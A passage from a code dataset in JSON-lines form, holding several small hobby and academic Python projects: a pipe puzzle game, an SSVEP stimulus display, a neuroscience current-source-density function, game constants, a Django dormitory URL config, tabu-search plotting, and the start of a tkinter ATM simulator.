sec\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n w = AppWindow()\n w.show()\n sys.exit(app.exec_())\n","repo_name":"Tuhin-thinks/Track-Learning-Progress","sub_path":"app_main.py","file_name":"app_main.py","file_ext":"py","file_size_in_byte":15601,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"43869702386","text":"import random\nimport time\nimport json\nimport os\nstrfrmt=\"piece_orientation_flowdirs_color\"\nexample=\"pipe_up_ud_y\"\n\nwith open(os.path.dirname(os.path.realpath(__file__))+'./pieces.json', 'r') as f:\n pieces = json.load(f)\n\n\nclass pcolors:\n HEADER = '\\033/[95m'\n OKBLUE = '\\x1b/[94m'\n OKGREEN = '\\x1b/[92m'\n WARNING = '\\x1b/[93m'\n FAIL = '\\033/[91m'\n ENDC = '\\x1b/[0m'\n BOLD = '\\033/[1m'\n UNDERLINE = '\\033/[4m'\n\n\nclass GameBoard:\n\n def __init__(self, board_width=9, board_height=7, seed=None):\n if seed is None:\n self.seed = random.getrandbits(32)\n else:\n self.seed = seed\n random.seed(self.seed)\n\n self.board_width = board_width\n self.board_height = board_height\n self.board = self.generate_board(board_width=self.board_width, board_height=self.board_height, seed=self.seed)\n self.entry = [0, 0]\n self.exit = [self.board_height, self.board_width]\n self.selected = [0, 0]\n self.flows = [self.entry]\n self.representation = None\n self._generate_representation()\n self.clock=time.time()\n\n def start_flow(self):\n self._fill_piece(self.entry)\n self._generate_representation()\n def increment_flow(self):\n current_flows = self.flows\n if len(self.flows) == 0:\n print(\"YOU LOSE\")\n input()\n exit()\n found = self._look(current_flows)\n if found:\n self.flows = []\n [self.flows.append(piece) for piece in found if piece not in self.flows]\n [self._fill_piece(to_fill) for to_fill in self.flows]\n else:\n print(\"YOU LOSE\")\n input()\n exit()\n self._generate_representation()\n\n def _look(self, flow_list):\n results = []\n for coords in flow_list:\n piece_name = self.board[coords[0]][coords[1]].split('_')\n flow_dirs = piece_name[2]\n\n for dir in flow_dirs:\n found = self._look_in_dir(coords, dir)\n if found:\n results.append(found)\n\n if results:\n return results\n else:\n return None\n\n def _look_in_dir(self, coords, dir):\n if dir == 'u':\n if coords[0]-1 < 0:\n return None\n word = self.board[coords[0]-1][coords[1]].split('_')\n if 'd' in word[2] and 'g' != word[-1]:\n return [coords[0]-1, coords[1]]\n else:\n return None\n if dir == 'd':\n if coords[0]+1 >= self.board_height:\n return None\n word = self.board[coords[0]+1][coords[1]].split('_')\n if 'u' in word[2] and 'g' != word[-1]:\n return [coords[0]+1, coords[1]]\n else:\n return None\n if dir == 'l':\n if coords[1]-1 < 0:\n return None\n word = self.board[coords[0]][coords[1]-1].split('_')\n if 'r' in word[2] and 'g' != word[-1]:\n return [coords[0], coords[1]-1]\n else:\n return None\n if dir == 'r':\n if coords[1]+1 >= self.board_width:\n return None\n word = self.board[coords[0]][coords[1] + 1].split('_')\n if 'l' in word[2] and 'g' != word[-1]:\n return [coords[0], coords[1]+1]\n else:\n return None\n\n return None\n\n def _fill_piece(self, coords):\n self.board[coords[0]][coords[1]] = self.board[coords[0]][coords[1]][0:-1] + 'g'\n\n def _recolor(self, coords, color):\n # piece = self.representation[coords[0]][coords[1]]\n piece_name = self.board[coords[0]][coords[1]].split('_')\n piece = pieces[piece_name[0]][piece_name[1]][\"array\"]\n color_rep = {\"p\": pcolors.HEADER, \"y\": pcolors.WARNING, \"g\": pcolors.OKGREEN, \"b\": pcolors.OKBLUE}[color]\n self.representation[coords[0]][coords[1]] = self.color_piece(piece, color_rep)\n\n def _generate_representation(self):\n self.representation = [[pieces[item.split('_')[0]][item.split('_')[1]][\"array\"]\n for item in row]\n for row in self.board]\n for i in range(self.board_width):\n for j in range(self.board_height):\n color = self.board[j][i].split('_')[3]\n self._recolor([j, i], color)\n self._recolor(self.selected, \"b\")\n\n def display(self):\n for idx, row in enumerate(self.representation):\n\n if idx == self.entry[0]:\n st = True\n else:\n st = False\n if idx == self.exit[0]-1:\n en = True\n else:\n en = False\n\n print(\" \\u001b[38;5;234m+\\x1b[0m\", end='')\n [print(\"\\u001b[38;5;234m=======+\\x1b[0m\", end='') for _ in range(self.board_width)]\n print()\n for i in range(3):\n if st:\n print(\"\\x1b[32m>>>\", end='')\n else:\n print(' ', end='')\n top = ['\\u001b/[38;5;234m|\\x1b/[0m']\n for line in range(self.board_width):\n top.append(row[line][i])\n top.append('\\u001b/[38;5;234m|\\x1b/[0m')\n # if line%3==0:\n # top.append(' . ')\n # top = [row[line][i] for line in range(width)]\n if en:\n top.append('\\x1b/[32m>>>')\n out = self.replacer(str(top))\n # out= ' | '.join(a + b for a, b in zip(out[::3], out[1::3]))\n print(out)\n print(\" \\u001b[38;5;234m+\\x1b[0m\", end='')\n [print(\"\\u001b[38;5;234m=======+\\x1b[0m\", end='') for _ in range(self.board_width)]\n print()\n hashes = int((time.time() - self.clock)%60)\n bar = \"[\" + \"#\" * hashes + \" \" * (30 - hashes) + \"]\"\n print(\"\\x1b[32mGAME OF PIPE \", end='')\n print(bar, end='\\x1b[0m\\n')\n print(self.flows)\n\n def rotate(self):\n piece = self.board[self.selected[0]][self.selected[1]]\n if piece.split('_')[-1] != 'g':\n self.board[self.selected[0]][self.selected[1]] = self._rotate_piece(piece)\n self._generate_representation()\n\n def select(self, direction):\n if direction == 'u' and self.selected[0] > 0:\n self.selected[0] -= 1\n elif direction == 'd' and self.selected[0] < self.board_height-1:\n self.selected[0] += 1\n elif direction == 'l' and self.selected[1] > 0:\n self.selected[1] -= 1\n elif direction == 'r' and self.selected[1] < self.board_width-1:\n self.selected[1] += 1\n self._generate_representation()\n\n @staticmethod\n def color_piece(piece_array, color):\n return [[\"{}{}{}\".format(color, val, pcolors.ENDC) for val in row] for row in piece_array]\n\n @staticmethod\n def _rotate_piece(piece_name):\n word = piece_name.split('_')\n word[1] = {\"up\": \"rt\", \"rt\": \"dn\", \"dn\": \"lf\", \"lf\": \"up\"}[word[1]]\n word[2] = pieces[word[0]][word[1]]['dirs']\n return '_'.join(word)\n\n @staticmethod\n def generate_board(board_width=4, board_height=4, seed=random.getrandbits(32)):\n random.seed(seed)\n gen_pieces = [[\"{}_{}\".format(list(pieces)[random.randint(0, 2)],\n list(pieces[list(pieces)[0]])[random.randint(0, 3)])\n for i in range(board_width)]\n for j in range(board_height)]\n piece_names = [[val+'_'+pieces[val.split('_')[0]][val.split('_')[1]][\"dirs\"]+'_p' for val in row] for row in gen_pieces]\n return piece_names\n\n @staticmethod\n def replacer(input_string, chars_to_erase=None):\n if chars_to_erase is None:\n chars_to_erase = [\"[\", \"]\", \",\", \"'\"]\n prev_char=''\n newstr=''\n for i in range(len(input_string)):\n if input_string[i] not in chars_to_erase:\n newstr+=input_string[i]\n elif prev_char==\"/\":\n newstr += input_string[i]\n prev_char=input_string[i]\n # newstr=newstr.replace('/','')\n # newstr2=newstr.encode('ascii', 'backslashreplace').decode('unicode_escape')\n return newstr.replace('/','').encode('ascii', 'backslashreplace').decode('unicode_escape')\n\n @staticmethod\n def print_meta_board(cur_board):\n print(\"+\", end='')\n for _ in range(cur_board.board_width):\n print(\"================+\", end='')\n print()\n for row in cur_board:\n print(\"| \", end='')\n for item in row:\n print(\"{:<14}\".format(item)+\" | \", end='')\n print()\n print(\"+\", end='')\n for _ in range(cur_board.board_width):\n print(\"----------------+\", end='')\n print()\n\n @staticmethod\n def _piece_from_name(name):\n parsed = name.split('_')\n return pieces[parsed[0]][parsed[1]]\n\n\n\n","repo_name":"jrbarhydt/pipe_game","sub_path":"board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":9082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"8498965012","text":"import numpy as np\nfrom psychopy import core,visual,event\nimport time\n\n\nclass SSVEPStimuli(object):\n\n '''\n windows resolution: 1280x720\n '''\n def __init__(self,win=visual.Window(size=(512,512),fullscr=False,units='pix',color='black')):\n\n self.win=win\n\n self.win_sz=win.size[0]\n self.block_sz=64 # 512/64=8\n\n # self.white=[1,1,1]\n # self.black=[-1,-1,-1]\n\n self._get_texture()\n self._get_freq()\n \n def _get_texture(self):\n\n # power of 2\n texture_sz=self.win_sz\n texture_mat=np.zeros((5,texture_sz,texture_sz))\n\n '''\n -1 -1 1 -1 -1 TOP\n 1 -1 -1 -1 1 LEFT/RIGHT\n -1 -1 1 -1 -1 BOT\n '''\n\n for i in range(texture_sz):\n for j in range(texture_sz):\n # TOP\n if j>texture_sz/2-self.block_sz/2 and j<=texture_sz/2+self.block_sz/2 and i>texture_sz-self.block_sz:\n texture_mat[1][i][j]=1\n # LEFT\n elif i>texture_sz/2-self.block_sz/2 and i<=texture_sz/2+self.block_sz/2 and j<=self.block_sz:\n texture_mat[2][i][j]=1\n # RIGHT\n elif i>texture_sz/2-self.block_sz/2 and i<=texture_sz/2+self.block_sz/2 and j>texture_sz-self.block_sz:\n texture_mat[3][i][j]=1\n # BOT\n elif j>texture_sz/2-self.block_sz/2 and j<=texture_sz/2+self.block_sz/2 and i<=self.block_sz:\n texture_mat[4][i][j]=1\n \n texture_mat_merged=np.zeros((16,texture_sz,texture_sz))\n for flag1 in range(2):\n for flag2 in range(2):\n for flag3 in range(2):\n for flag4 in range(2):\n idx=flag4*8+flag3*4+flag2*2+flag1*1\n texture_mat_merged[idx]=np.logical_or(np.logical_or(np.logical_or(np.logical_or(texture_mat[0],texture_mat[1]*flag1),texture_mat[2]*flag2),texture_mat[3]*flag3),texture_mat[4]*flag4).astype(int)\n texture_mat_merged[idx][texture_mat_merged[idx]==0]=-1\n \n self.texture=texture_mat_merged\n \n def _get_freq(self):\n\n # freq=60/fn\n f1=[1,1,1,1,0,0,0,0] # 7.50Hz\n f2=[1,1,1,1,0,0,0] # 8.57Hz\n f3=[1,1,1,0,0,0] # 10.0Hz\n f4=[1,1,1,0,0] # 12.0Hz\n \n fn_list=[len(f1),len(f2),len(f3),len(f4)]\n\n lcm_freq=1\n for fn in fn_list:\n lcm_freq=np.lcm(fn,lcm_freq)\n self.lcm_freq=lcm_freq\n\n f1=f1*(lcm_freq/len(f1)).astype(int)\n f2=f2*(lcm_freq/len(f2)).astype(int)\n f3=f3*(lcm_freq/len(f3)).astype(int)\n f4=f4*(lcm_freq/len(f4)).astype(int)\n\n self.freq=np.vstack((np.vstack((np.vstack((f1,f2)),f3)),f4))\n\n def stop(self):\n\n self.win.close()\n core.quit()\n\n def start(self):\n\n patterns=[]\n for idx in range(16):\n patterns.append(visual.GratingStim(win=self.win,tex=self.texture[idx],pos=(0,0),units='pix'))\n \n idx=0\n self.clock=core.Clock()\n while True:#self.clock.getTime() < 5.0:\n texture_val=self.freq[:,idx].dot(np.array([1,2,4,8]))\n patterns[texture_val].draw()\n self.win.flip()\n idx+=1\n if idx>=self.lcm_freq:\n idx=0\n if event.getKeys('q'):\n break\n\n self.clock.reset()\n\n\ndef startup():\n\n #t1=time.time()\n ssvep_stimuli=SSVEPStimuli()\n #t2=time.time()\n #print(t2-t1)\n ssvep_stimuli.start()\n ssvep_stimuli.stop()\n \n \nif __name__==\"__main__\":\n\n startup()","repo_name":"riv2r/ControlByBCI","sub_path":"program/SSVEPStimuli.py","file_name":"SSVEPStimuli.py","file_ext":"py","file_size_in_byte":3642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"72556796032","text":"import numpy as np\n\n\ndef compute_csd(\n lfp: np.ndarray, inter_channel_distance: float, step: int = 2\n) -> np.ndarray:\n \"\"\"Compute current source density on the average LFP.\n (Mitzdorf U., 1985).\n CSD is computed as the second spatial derivative of the extracellular field potential what\n is proportional to the current sinks and sources in the extracellular space.\n\n Args:\n lfp (np.ndarray): array of shape (n channels, timestamps) containing the local field potential.\n inter_channel_distance (float): distance between electrode contacts.\n step (int, optional): number of channels between the middel channel and the extreme ones. Defaults to 2.\n\n Returns:\n np.ndarray: current source density.\n \"\"\"\n if lfp.ndim != 2:\n raise ValueError(\"lfp must be a 2d array\")\n\n csd = []\n n_channels = lfp.shape[0]\n for channel in range(0 + step, n_channels - step):\n csd.append(\n -0.4 # conductance of primate gray matter (S/m) (Godlove D., 2014)\n * (\n (-2 * lfp[channel] + lfp[channel - step] + lfp[channel + step])\n / ((step * inter_channel_distance) ** 2)\n )\n )\n\n return np.array(csd)\n","repo_name":"camilosada/EphysVibe","sub_path":"ephysvibe/analysis/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"16822263650","text":"#!/usr/bin/env python\n# coding=utf-8\n# 2.7\n# fettser.yury\n\"\"\"\nConstants for JumpNbump\n\"\"\"\n\n#Screen sizes\nSCREEN_HIGHT = 480\nSCREEN_LENGTH = 640\n#Rabbit pics\nZNR_PICTURE = \"data/zn2r.png\"\nZN_PICTURE = \"data/zn2.png\"\nZN_DEAD = \"data/dead.png\"\n#Background picture\nBG_PICTURE = \"data/background.png\"\n#Screen bounds\nHIGH_BOUND = 450\nLENGTH_BOUND = 610\n#Constants for determining collisions\nDIST_DIFF = 30\nMAGIC_TEN = 10\nMAGIC_FTEN = 15\nMAGIC_TWNT = 20\nMAGIC_FOUR = 4\n#Speed constants\nJUMP_SPEED = 10\nDEAD_SPEED = 5\nACCELERATION = 0.6\nGRAVITY = -11.4\n#Socket info\nPORT_NUMBER = 9093\nMAX_PLAYERS = 7\nRECV_PORTION = 1024\n#Font info\nFONT = \"data/fonts/font.ttf\"\nSMFONT = \"data/fonts/super-mario-64.ttf\"\nFONT_SIZE = 10\nFONT1_SIZE = 16\nFONT2_SIZE = 45\n#Main cycle ticks\nTICKS = 30\n#Information indexes in sending information\nCLIENT_NUMBER_IND = 0\nCLIENT_INFORMATION = 1\nCLIENT_POSX = 1\nCLIENT_POSY = 2\n#Building level constants\nLEVEL = \"data/level\"\nBOARDING_LEFT_POS = 5\nBOARDING_RIGHT_POS = 6\nKILL_POS = 7\nLEFT_LEN = 6\nRIGHT_LEN = 7\nKILL_LEN = 8\nPLATFORM_POSX_POS = 1\nPLATFORM_POSY_POS = 2\nPLATFORM_LEN_POS = 3\nPLATFORM_HIG_POS = 4\n#Menu constants\nMENU_PICTURE = \"data/menu.png\"\nMENU_CENTX = 300\nMENU_CENTY = 400\nMMAGIC = 320\nJNBM_MAGIC = 180\nPY_MAGIC = 235\n#Bot control constants\nMAGIC = 1000000\nRABBIT_SIZE = 50\nBOT_MOVING = 3\nDEFAULT_STEPS = 30\n#Maximum moving in pixels during one tick\nMOVE = 3\n#Commands for moving player\nLEFT = \"moveleft\"\nRIGHT = \"moveright\"\nON_LEFT = \"left\"\nON_RIGHT = \"right\"\nON_LEFT_UP = \"leftup\"\nON_RIGHT_UP = \"rightup\"\nJUMP = \"space\"\n#Server-Client communication commands\nQUIT_COMMAND = \"quit\"\nITSYOURNUM_COMMAND = \"itsyournum\"\nGETMYNUM_COMMAND = \"getmynum\"\nVOID_COMMAND = \"void\"\nDIED_COMMAND = \"died\"","repo_name":"fettsery/jumpNbump","sub_path":"constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"40114688413","text":"f = open(\"day13/input.txt\", \"r\")\n\nlines = f.readlines()\nparse_iter = zip(*[map(lambda x: x.rstrip(\"\\n\").strip(), lines)] * 3)\n\n\ndef compare(a, b):\n if isinstance(a, int) and isinstance(b, int):\n if a < b:\n return 1\n elif a > b:\n return -1\n return 0\n elif isinstance(a, int):\n a = [a]\n elif isinstance(b, int):\n b = [b]\n\n for i in range(min(len(a), len(b))):\n comp = compare(a[i], b[i])\n if comp != 0:\n return comp\n\n if len(a) < len(b):\n return 1\n elif len(a) > len(b):\n return -1\n return 0\n\n\nans = 0\nfor i, group in enumerate(parse_iter, start=1):\n a = eval(group[0])\n b = eval(group[1])\n\n comp = compare(a, b)\n if comp == 1:\n ans += i\n elif comp == 0:\n print(\"bruh\")\n\nprint(ans)\n\nf.close()\n","repo_name":"Blackgaurd/advent-of-code","sub_path":"AOC2022/day13/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"40949508399","text":"coffiee = 10\nwhile True :\n money = int(input('돈을 넣어주세요 : '))\n if money == 300 :\n print('커피 받으세요~')\n coffiee = coffiee - 1\n elif money > 300 :\n print('거스름돈 %d를 주고, 커피 받으세요~' %(money - 300))\n coffiee = coffiee - 1\n else :\n print('돈이 부족합니다 고객님..^^')\n if coffiee == 0 :\n print('오늘 준비한 커피가 모두 소진되었습니다..ㅠ [영업 종료]')\n break","repo_name":"s-young01/python-basic","sub_path":"제어문/ex03_coffee.py","file_name":"ex03_coffee.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"6851856659","text":"from django.conf.urls import url\nfrom django.contrib import admin\nfrom .views import view_del, view_add, view_query, view_queryall, view_change\n\nurlpatterns = [\n url(r'^student/change_dormitory/', view_change.changeDormitory),\n\n url(r'^student/delete/', view_del.studentDelete),\n url(r'^dormitory/delete/', view_del.dormitoryDelete),\n url(r'^apartment/delete/', view_del.apartmentDelete),\n url(r'^discipline/delete/', view_del.disciplineDelete),\n url(r'^sanitation/delete/', view_del.sanitationDelete),\n url(r'^discipline_type/delete/', view_del.disciplineTypeDelete),\n url(r'^administrator/delete/', view_del.adminDelete),\n # ...\n\n\n url(r'^student/add/', view_add.studentAdd),\n url(r'^dormitory/add/', view_add.dormitoryAdd),\n url(r'^apartment/add/', view_add.apartmentAdd),\n url(r'^discipline/add/', view_add.disciplineAdd),\n url(r'^sanitation/add/', view_add.sanitationAdd),\n url(r'^discipline_type/add/', view_add.disciplineTypeAdd),\n url(r'^administrator/add/', view_add.adminAdd),\n\n\n url(r'^student_table/', view_queryall.studentQueryAll),\n url(r'^dormitory_table/', view_queryall.dormitoryQueryAll),\n url(r'^apartment_table/', view_queryall.apartmentQueryAll),\n url(r'^discipline_table/', view_queryall.disciplineQueryAll),\n url(r'^sanitation_table/', view_queryall.sanitationQueryAll),\n url(r'^discipline_type_table/', view_queryall.disciplineTypeQueryAll),\n url(r'^administrator_table/', view_queryall.adminQueryAll),\n\n\n\n url(r'^student/inquire/', view_query.studentQuery),\n url(r'^dormitory/inquire/', view_query.dormitoryQuery),\n url(r'^discipline/inquire/', view_query.disciplineQuery),\n url(r'^sanitation/inquire/', view_query.sanitationQuery),\n]\n","repo_name":"MrYuan123/DMS","sub_path":"restapi/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"5684240544","text":"import numpy as np\n#import matplotlib\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as mticker\nimport csv\nfrom mpl_toolkits import mplot3d\n\ndef loadDATA(arr):\n loaded_arr = np.loadtxt(\"simulation/atsp_data_nne_3.csv\")\n load_original_arr = np.reshape(loaded_arr, arr)\n #print(\"shape of arr: \", loaded_arr.shape)\n return load_original_arr\n\ndef plot(arr):\n fig = plt.figure()\n ax = plt.axes(projection='3d')\n\n #x = np.array([1286]) #['gr24.tsp', 'gr48.tsp', 'pr76.tsp', 'pr107.tsp', 'gr120.tsp', 'pr136.tsp', 'pr152.tsp'] 24,48,76,107,120,136,152\n #best_known = np.array([1272, 5046, 108159, 44303, 6942, 96772, 73682])\n #x = np.array([17,21,24,48,52,76,99,107])\n #x = np.array([33, 44, 55, 64, 70, 170])#['ftv33.atsp', 'ftv44.atsp', 'ftv55.atsp', 'ftv64.atsp', 'ftv70.atsp', 'ftv170.atsp']\n #best_known = np.array([1286, 1613, 1608, 1839, 1950, 2755])\n x = np.array([17, 33, 44, 55, 64, 70]) #['br17.atsp', 'ftv33.atsp', 'ftv44.atsp', 'ftv55.atsp', 'ftv64.atsp', 'ftv70.atsp']\n best_known = np.array([39, 1286, 1613, 1608, 1839, 1950])\n min_tabu_lenght = 2 # 2\n max_tabu_lenght = 37 # 37\n step_tabu = 5 #5\n y = np.arange(min_tabu_lenght, max_tabu_lenght + step_tabu, step_tabu).tolist()\n #print(x)\n #print('-----------')\n #print(y)\n X, Y = np.meshgrid(x,y)\n z = np.zeros((arr.shape[1],arr.shape[0]))\n for i in range(len(x)):\n for j in range(len(y)):\n #print('i,j = ', i,j)\n #z[j][i] = (arr[i,j,1,0] / best_known[i] - 1) * 100 #prd\n z[j][i] = arr[i,j,1,1] #time\n #print(z)\n \n \n Z = np.array(z)\n ax = plt.axes(projection='3d')\n ax.plot_surface(X, Y, Z, rstride=1, cstride=1,\n cmap='viridis', edgecolor='none')\n #ax.contour3D(Xx, Yy, Zz, 50, cmap='binary')\n ax.set_title('NNE rozwiązanie początkowe')\n ax.set_xlabel('instance size')\n ax.set_ylabel('tabu list size')\n ax.set_zlabel('time [s]')\n #ax.set_zlabel('PRD [%]')\n formatter = mticker.ScalarFormatter()\n ax.xaxis.set_major_formatter(formatter)\n ax.xaxis.set_major_locator(mticker.FixedLocator(x))\n ax.yaxis.set_major_locator(mticker.FixedLocator(y))\n\n '''\n xline = np.linspace(24, 152, 1000)\n yline = xline - xline\n zline = 0.0000005*np.power(xline, 4)\n ax.plot3D(xline, yline, zline, 'red')\n '''\n plt.show()\n #plt.savefig('simulation/chart1.png')\n\ndef scatter(arr):\n fig = plt.figure()\n ax = plt.axes(projection='3d')\n #arr = np.random.rand(4, 4, 2, 2)\n X = arr.shape[0]\n Y = arr.shape[1]\n Z = arr.shape[2]\n x = []\n y = []\n z = []\n for i in range(X):\n x.append(arr[i,0,0,0])\n for j in range(Y):\n y.append(arr[0,j,0,0])\n for k in range(Z):\n z.append(arr[0,0,k,0])\n Xx = np.array(x)\n Yy = np.array(y)\n Zz = np.array(z)\n ax = plt.axes(projection='3d')\n ax.scatter3D(Xx, Yy, Zz, c=Zz, cmap='Greens')\n ax.set_title('surface')\n ax.set_xlabel('instance')\n ax.set_ylabel('tabu list size')\n ax.set_zlabel('cost')\n plt.show()\n #plt.savefig('simulation/chart1.png')\n\ndef main():\n \n arr = [6,8,2,2] # for atsp 1\n #arr = [6,6,4,2]\n #arr = [7,8,2,2]\n DATA = loadDATA(arr)\n plot(DATA)\n\nif __name__ == '__main__':\n main()","repo_name":"T2ooomasz/Algorytmy-Metaheurystyczne","sub_path":"TabuSearch/charts.py","file_name":"charts.py","file_ext":"py","file_size_in_byte":3298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"13727246395","text":"from tkinter import *\nfrom tkinter import messagebox\nfrom PIL import Image, ImageTk\nimport cv2\nimport time\nfrom pyzbar.pyzbar import decode\nfrom tkinter.font import Font\nfrom atm_functions import controller\n\nventana=Tk()\nventana.geometry(\"1250x580\")\nventana.title('')\nventana.resizable (0,0)\nventana.rowconfigure(0,weight=1)\nventana.columnconfigure(0,weight=1)\nicon=Image.open('IMAGES/LogoBancolombia.ico')\nicon=ImageTk.PhotoImage(icon)\nventana.iconphoto(True,icon)\n\nc=controller()\n\n#Numero de paginas\n\nmenuPrincipal= Frame(ventana)\ningresarTarjeta= Frame(ventana)\nmenuTransaccion= Frame(ventana)\ningresoTarjetaContraseña= Frame(ventana)\nretirarDinero= Frame(ventana)\ntransferenciasOp= Frame(ventana)\ntransferenciaNumeroDeCuenta= Frame(ventana)\nconfirmacionCuenta= Frame(ventana)\nnuevoSaldo= Frame(ventana)\ncambioContraseña=Frame(ventana)\notroMonto=Frame(ventana)\ncambioContraseñaR= Frame(ventana)\ningresarMontoTransferencia= Frame(ventana)\n\n#fuente de letra\n\nfuenteLetra= Font(\n family=\"Helvetica\",\n size=20,\n weight=\"bold\",\n slant=\"roman\",\n underline=0,\n overstrike=0\n)\n\nframesList=[menuPrincipal, ingresarTarjeta, ingresoTarjetaContraseña,menuTransaccion, retirarDinero, transferenciasOp, transferenciaNumeroDeCuenta, confirmacionCuenta, nuevoSaldo, otroMonto, cambioContraseña, cambioContraseñaR,ingresarMontoTransferencia]\nfor frame in framesList:\n frame.grid(row=0,column=0,sticky=\"nsew\")\n\ndef framesManager(frame_name):\n frame_name.tkraise()\n\ndef clearText(frame_name,entry):\n entry.delete(\"0\",\"end\")\n framesManager(frame_name)\n\nframesManager(menuPrincipal)\n\n#imagenes\nbgMainMenu= Image.open(\"IMAGES/Pantallaprincipal.png\")\nresizeImagef=bgMainMenu.resize((1250,580))\nbgMainMenu= ImageTk.PhotoImage(resizeImagef)\n\nbgIngresarTarjeta= Image.open(\"IMAGES/IngreseCodigoTarjeta.png\")\nresizeImagef=bgIngresarTarjeta.resize((1250,580))\nbgIngresarTarjeta= ImageTk.PhotoImage(resizeImagef)\n\nbgIngresarSinTarjeta= Image.open(\"IMAGES/3.png\")\nresizeImagef=bgIngresarSinTarjeta.resize((1250,580))\nbgIngresarSinTarjeta= ImageTk.PhotoImage(resizeImagef)\n\nbgIngresoCorreo= Image.open(\"IMAGES/IngresoCorreo.png\")\nresizeImagef=bgIngresoCorreo.resize((1250,580))\nbgIngresoCorreo= ImageTk.PhotoImage(resizeImagef)\n\nbgIngresarIdTarjeta= Image.open(\"IMAGES/IngreseCodigoTarjeta.png\")\nresizeImagef=bgIngresarIdTarjeta.resize((1250,580))\nbgIngresarIdTarjeta= ImageTk.PhotoImage(resizeImagef)\n\nbgMenuTransaccion= Image.open(\"IMAGES/MenuTransaccion.png\")\nresizeImagef=bgMenuTransaccion.resize((1250,580))\nbgMenuTransaccion= ImageTk.PhotoImage(resizeImagef)\n\nfondoIngresoTarjetaContraseña= Image.open(\"IMAGES/IngresoTarjetaContraseña.png\")\nresizeImagef=fondoIngresoTarjetaContraseña.resize((1250,580))\nfondoIngresoTarjetaContraseña= ImageTk.PhotoImage(resizeImagef)\n\nbgRetiroDinero= Image.open(\"IMAGES/MenuRetiro.png\")\nresized_image=bgRetiroDinero.resize((1250,580))\nbgRetiroDinero= ImageTk.PhotoImage(resized_image)\n\nbgConsultarSaldo= Image.open(\"IMAGES/ConsultarSaldo.png\")\nresizeImagef=bgConsultarSaldo.resize((1250,580))\nbgConsultarSaldo= ImageTk.PhotoImage(resizeImagef)\n\nbgTransferencias= Image.open(\"IMAGES/Transferencias.png\")\nresizeImagef=bgTransferencias.resize((1250,580))\nbgTransferencias= ImageTk.PhotoImage(resizeImagef)\n\nbgTransferenciasOp= Image.open(\"IMAGES/TransferenciasOp.png\")\nresizeImagef=bgTransferenciasOp.resize((1250,580))\nbgTransferenciasOp= ImageTk.PhotoImage(resizeImagef)\n\nbgTransferenciaNumeroDeCuenta= Image.open(\"IMAGES/TransferenciaNumeroDeCuenta.png\")\nresizeImagef=bgTransferenciaNumeroDeCuenta.resize((1250,580))\nbgTransferenciaNumeroDeCuenta= ImageTk.PhotoImage(resizeImagef)\n\nbgConfirmacionCuenta= Image.open(\"IMAGES/ConfirmacionCuenta.png\")\nresizeImagef=bgConfirmacionCuenta.resize((1250,580))\nbgConfirmacionCuenta= ImageTk.PhotoImage(resizeImagef)\n\nbgCodigoDeBarras= Image.open(\"IMAGES/CodigoDeBarras.png\")\nresizeImagef=bgCodigoDeBarras.resize((1250,580))\nbgCodigoDeBarras= ImageTk.PhotoImage(resizeImagef)\n\nbgImprimirRecibo= Image.open(\"IMAGES/ImprimirRecibo.png\")\nresizeImagef=bgImprimirRecibo.resize((1250,580))\nbgImprimirRecibo= ImageTk.PhotoImage(resizeImagef)\n\nbgNuevoSaldo= Image.open(\"IMAGES/MenuSaldoPantalla.png\")\nresizeImagef=bgNuevoSaldo.resize((1250,580))\nbgNuevoSaldo= ImageTk.PhotoImage(resizeImagef)\n\nbgOtroMonto=Image.open(\"IMAGES/OtroMonto.png\")\nresizeImagef=bgOtroMonto.resize((1250,580))\nbgOtroMonto=ImageTk.PhotoImage(resizeImagef)\n\nbgCambioConstraseña=Image.open(\"IMAGES/CambioContraseña.png\")\nresizeImagef=bgCambioConstraseña.resize((1250,580))\nbgCambioConstraseña=ImageTk.PhotoImage(resizeImagef)\n\nbgCambioConstraseñaR=Image.open(\"IMAGES/CambioContraseñaR.png\")\nresizeImagef=bgCambioConstraseñaR.resize((1250,580))\nbgCambioConstraseñaR=ImageTk.PhotoImage(resizeImagef)\n\nbgRetiroConfirmacion=Image.open(\"IMAGES/RetiroConfirmacion.png\")\nresizeImagef=bgRetiroConfirmacion.resize((1250,580))\nbgRetiroConfirmacion=ImageTk.PhotoImage(resizeImagef)\n\nbgTranseferenciaMonto=Image.open(\"IMAGES/TransferenciaEntry.png\")\nresizeImagef=bgTranseferenciaMonto.resize((1250,580))\nbgTranseferenciaMonto=ImageTk.PhotoImage(resizeImagef)\n\n#iconos\ncontraseñaIcon= Image.open(\"IMAGES/EntryShape.png\")\nresizeImageC=contraseñaIcon.resize((300,50))\ncontraseñaIcon=ImageTk.PhotoImage(resizeImageC)\n\n#menuPrincipal---------------------------------------------------------\n\n#label\nmenuPrincipalFondo =Label(menuPrincipal, image=bgMainMenu)\nmenuPrincipalFondo.place(x=0,y=0)\n\n#Funcion para registrar los datos recibidos por la camara\ndef getCardInfo():\n cap=cv2.VideoCapture(0)\n cap.set(3,640)\n cap.set(4,480)\n used_codes=[]\n camera=True\n while camera:\n sucess,frame=cap.read()\n for code in decode(frame):\n if code.data.decode('utf-8') not in used_codes:\n cardInfo=code.data.decode('utf-8')\n global cardInfoList\n cardInfoList=cardInfo.split()\n 